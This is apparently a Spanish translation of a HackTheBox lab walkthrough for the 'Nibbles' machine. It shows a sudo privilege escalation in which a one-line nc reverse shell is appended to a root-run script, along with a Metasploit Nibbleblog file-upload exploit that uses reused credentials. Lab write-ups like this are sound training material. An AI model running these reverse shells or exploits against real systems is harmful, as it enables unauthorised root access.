env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User nibbler may run the following commands on Nibbles:
(root) NOPASSWD: /home/nibbler/personal/stuff/monitor.sh
[+] Possible sudo pwnage!
/home/nibbler/personal/stuff/monitor.sh
El usuario nibbler puede ejecutar el archivo /home/nibbler/personal/stuff/monitor.sh con privilegios root. Debido a que tenemos completo control sobre ese archivo, si añadimos al final una shell reversa en una sola línea y ejecutamos con sudo deberíamos obtener una shell reversa como usuario root. Editamos el archivo monitor.sh para añadir esa línea al final.
nibbler@Nibbles:/home/nibbler/personal/stuff$ echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.2 8443 >/tmp/f' | tee -a monitor.sh
Si hacemos un cat a monitor.sh, veremos el contenido añadido al final. Es crucial si nos encontramos en una situación donde podemos aprovechar un archivo editable para la escalada de privilegios. Sólo añadimos al final del archivo (después de hacer una copia de seguridad del archivo) para evitar sobrescribirlo y causar una interrupción. Ejecutamos el script con sudo:
nibbler@Nibbles:/home/nibbler/personal/stuff$ sudo /home/nibbler/personal/stuff/monitor.sh
Finalmente, atrapamos la shell reversa en nuestro nc.
user@htb[/htb]$ nc -lvnp 8443
listening on [any] 8443 ...
connect to [NUESTRA_IP] from (UNKNOWN) [IP_DE_LA_MAQUINA] 47488
# id
uid=0(root) gid=0(root) groups=0(root)
Desde aquí, podemos alcanzar la flag root.txt. Finalmente, hemos resuelto nuestra primera máquina en HTB. Intenta replicar estos pasos por tu cuenta. Prueba varias herramientas para alcanzar el mismo resultado. Podemos usar muchas herramientas distintas para los distintos pasos que requiere resolver esta máquina. Esta guía muestra sólo un posible método. Asegúrate de tomar notas detalladas para practicar tu set de habilidades.
Nibbles – Método alternativo – Metasploit
Como vimos anteriormente, también hay un módulo en Metasploit que funciona con esta máquina. Es bastante más sencillo, pero es importante practicar ambos métodos para familiarizarse con tantas herramientas y técnicas como sea posible. Arranca Metasploit desde tu máquina mediante el comando msfconsole. Una vez cargado, podemos buscar el exploit.
msf6 > search nibbleblog
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/multi/http/nibbleblog_file_upload 2015-09-01 excellent Yes Nibbleblog File Upload Vulnerability
Interact with a module by name or index. For example info 0, use 0 or use exploit/multi/http/nibbleblog_file_upload
Acto seguido escribimos type 0 para cargar el exploit seleccionado. Configuramos las opciones rhosts con la IP de la máquina objetivo y lhosts con la IP de nuestro adaptador tun0 (el que viene con la conexión VPN de HackTheBox).
msf6 > use 0
[*] No payload configured, defaulting to php/meterpreter/reverse_tcp
msf6 exploit(multi/http/nibbleblog_file_upload) > set rhosts IP_DE_LA_MAQUINA
rhosts => IP_DE_LA_MAQUINA
msf6 exploit(multi/http/nibbleblog_file_upload) > set lhost NUESTRA_IP
lhost => NUESTRA_IP
Con el comando show options vemos qué opciones han de configurarse:
msf6 exploit(multi/http/nibbleblog_file_upload) > show options
Module options (exploit/multi/http/nibbleblog_file_upload):
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD yes The password to authenticate with
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS IP_DE_LA_MAQUINA yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes The base path to the web application
USERNAME yes The username to authenticate with
VHOST no HTTP server virtual host
Payload options (php/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST NUESTRA_IP yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Nibbleblog 4.0.3
Necesitaremos ajustar el nombre de administrador y la contraseña con admin:nibbles y la TARGETURI a nibbleblog.
msf6 exploit(multi/http/nibbleblog_file_upload) > set username admin
username => admin
msf6 exploit(multi/http/nibbleblog_file_upload) > set password nibbles
password => nibbles
msf6 exploit(multi/http/nibbleblog_file_upload) > set targeturi nibbleblog
targeturi => nibbleblog
También necesitaremos cambiar el tipo de payload. Para nuestro propósito usaremos generic/shell_reverse_tcp. Una vez configuradas estas opciones, escribimos el comando exploit y recibiremos una shell reversa.
msf6 exploit(multi/http/nibbleblog_file_upload) > set payload generic/shell_reverse_tcp
payload => generic/shell_reverse_tcp
msf6 exploit(multi/http/nibbleblog_file_upload) > show options
Module options (exploit/multi/http/nibbleblog_file_upload):
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD nibbles yes The password to authenticate with
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS IP_DE_LA_MAQUINA yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI nibbleblog yes The base path to the web application
USERNAME admin yes The username to authenticate with
VHOST no HTTP server virtual host
Payload options (generic/shell_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST NUESTRA_IP yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Nibbleblog 4.0.3
msf6 exploit(multi/http/nibbleblog_file_upload) > exploit
[*] Started reverse TCP handler on NUESTRA_IP:4444
[*] Command shell session 4 opened (NUESTRA_IP:4444 -> IP_DE_LA_MAQUINA:53642) at 2021-04-21 16:32:37 +0000
[+] Deleted image.php
id
uid=1001(nibbler) gid=1001(nibbler) groups=1001(nibbler)
A partir de aquí, seguimos el mismo camino para la escalada de privilegios.
Siguientes pasos
Asegúrate de seguir adelante e intentar el resto de pasos por ti mismo. Prueba otras herramientas y métodos para alcanzar el mismo resultado. Toma notas detalladas de tu ruta de explotación, o incluso si sigues los mismos pasos de esta sección. Se trata de una buena práctica y ejercita la memoria, lo que te beneficiará en tu carrera. Si tienes un blog, haz una guía de esta máquina y súbela a la plataforma. Si no lo tienes, comienza uno. Pero no uses la versión 4.0.3 de Nibbleblog.
A menudo hay varias formas de realizar la misma tarea. Dado que esta es una máquina antigua, pueden existir otros métodos de escalada de privilegios, como un kernel obsoleto o algún servicio. Desafíate a ti mismo a enumerar la máquina y buscar otros fallos. ¿Hay alguna otra forma en la que la aplicación web Nibbleblog pueda ser abusada para obtener una shell reversa? Estudia esta guía con cuidado y asegúrate de que entiendes cada paso antes de seguir adelante.
👇 Y como siempre, no olvidéis dejarme vuestros comentarios y dudas en el formulario de aquí abajo 👇